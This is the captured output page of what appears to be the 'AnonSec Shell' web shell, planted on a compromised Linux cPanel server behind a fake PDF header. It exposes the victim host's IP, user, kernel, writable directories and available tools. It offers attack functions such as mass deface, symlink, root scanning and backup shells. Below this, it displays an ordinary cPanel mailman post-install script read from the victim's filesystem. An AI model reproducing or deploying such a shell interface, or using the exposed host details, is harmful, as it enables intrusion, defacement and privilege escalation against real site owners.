%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/cpanel-mailman.postinst
#!/bin/sh

set -e

## <asset scriplets/post>


set -e

USER=mailman
GROUP=mailman
MAILMAN_ROOT=/usr/local/cpanel/3rdparty/mailman
SERVICE_NAME=mailman

post() {
    echo "# mailman post: start"

    # Clean up old compiled resources -- and be extra careful, since we're deleting things, that the variable is populated
    [ -e "${MAILMAN_ROOT}" ] && find ${MAILMAN_ROOT} -name "*.pyc" -o -name "*.pyo"|xargs -I{} rm -f {} ||:

    # create default mailman list if missing
    [ -d ${MAILMAN_ROOT}/archives ] || mkdir -m 02775 ${MAILMAN_ROOT}/archives
    [ -d ${MAILMAN_ROOT}/archives/public ] || mkdir -m 02750 ${MAILMAN_ROOT}/archives/public
    [ -d ${MAILMAN_ROOT}/archives/private ] || mkdir -m 02750 ${MAILMAN_ROOT}/archives/private
    chown $USER ${MAILMAN_ROOT}/archives
    chown $USER ${MAILMAN_ROOT}/archives/public
    chown $USER ${MAILMAN_ROOT}/archives/private

    ( ${MAILMAN_ROOT}/bin/list_lists -b | grep mailman ) || ( /usr/local/cpanel/bin/mmpass | ${MAILMAN_ROOT}/bin/newlist --stdin_passwd -q -l en mailman root@`hostname` && ${MAILMAN_ROOT}/bin/config_list -i ${MAILMAN_ROOT}/data/sitelist.cfg mailman ) ||:

    if [ -d "${MAILMAN_ROOT}/logs" ]; then
        find ${MAILMAN_ROOT}/logs -type f -exec chmod 664 {} ';' ||:
    fi

    /bin/rm -f ${MAILMAN_ROOT}/qfiles/out/* ||:
    # should move that script to the rpm
    /usr/local/cpanel/bin/cleandeadqfiles ||:

    # update web UI icons (should be a unit test)
    /bin/find ${MAILMAN_ROOT}/icons -maxdepth 1 -type f -exec /bin/cp -f {} /usr/local/cpanel/img-sys/ ';'

    touch /var/cpanel/mailman2 ||:

    # chmod log files
    /bin/find ${MAILMAN_ROOT}/logs -maxdepth 1 -type f -exec chown mailman:mailman {} ';'
    /bin/find ${MAILMAN_ROOT}/logs -maxdepth 1 -type f -exec chmod 0664 {} ';'

    # that file is not listed by the rpm ( maybe can make it a ghost file ? )
    touch ${MAILMAN_ROOT}/archives/public/index.html

    # Additional check_perms rules for cPanel package
    chown ${USER}:${GROUP} ${MAILMAN_ROOT}/archives/public/index.html
    chmod 0644 ${MAILMAN_ROOT}/archives/public/index.html

    # chown is going to strip the setuid bit, need to recover them just after
    # Avoid recursive chown/chmod of the archives directory. See CPANEL-10276 and CPANEL-36604.
    /bin/find ${MAILMAN_ROOT} -path ${MAILMAN_ROOT}/archives -prune -o -exec chown ${USER}:${GROUP} {} '+'
    chown ${USER}:${GROUP} ${MAILMAN_ROOT}/archives

    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/admin
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/admindb
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/confirm
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/edithtml
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/listinfo
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/options
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/private
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/roster
    chmod 6755 ${MAILMAN_ROOT}/cgi-bin/subscribe
    chmod 4755 ${MAILMAN_ROOT}/bin/setuid-wrapper

    chown root:${GROUP} ${MAILMAN_ROOT}/Mailman/mm_cfg.py
    chmod 0644 ${MAILMAN_ROOT}/Mailman/mm_cfg.py

    chmod 2770 ${MAILMAN_ROOT}/logs
    chmod 2770 ${MAILMAN_ROOT}/qfiles

    #Fix up anything else we missed
    echo "# mailman post: check_perms"
    ${MAILMAN_ROOT}/bin/check_perms --fix --noarchives ||:

    enable_services
}

enable_services() {

    echo "# mailman post: enable service"
    # install mailman service
    if [ "x${USE_INITD}" = "x1" ]; then
        /sbin/chkconfig --add ${SERVICE_NAME}
    else
        /usr/bin/systemctl daemon-reload
        # on ubuntu the service can be masked
        /usr/bin/systemctl enable ${SERVICE_NAME} || ( /usr/bin/systemctl unmask ${SERVICE_NAME} ||:; /usr/bin/systemctl enable ${SERVICE_NAME} )
    fi

    echo "# mailman post: restartsrv_mailman"

    # If we can, start it up.
    if [ -x /usr/local/cpanel/scripts/restartsrv_mailman ] && grep -qs 'skipmailman=0' /var/cpanel/cpanel.config
    then
        # This depends on JSON::XS being installed which is in cpanel-perl(Cpanel::CORE::Dependencies)
        /usr/local/cpanel/bin/servers_queue --plugin=CpServicesTasks queue "restartsrv mailman"
    fi

    echo "# mailman post: done"
}

## </asset>


case "$1" in
  configure)
    post;
  ;;
esac

exit 0

Anon7 - 2022
AnonSec Team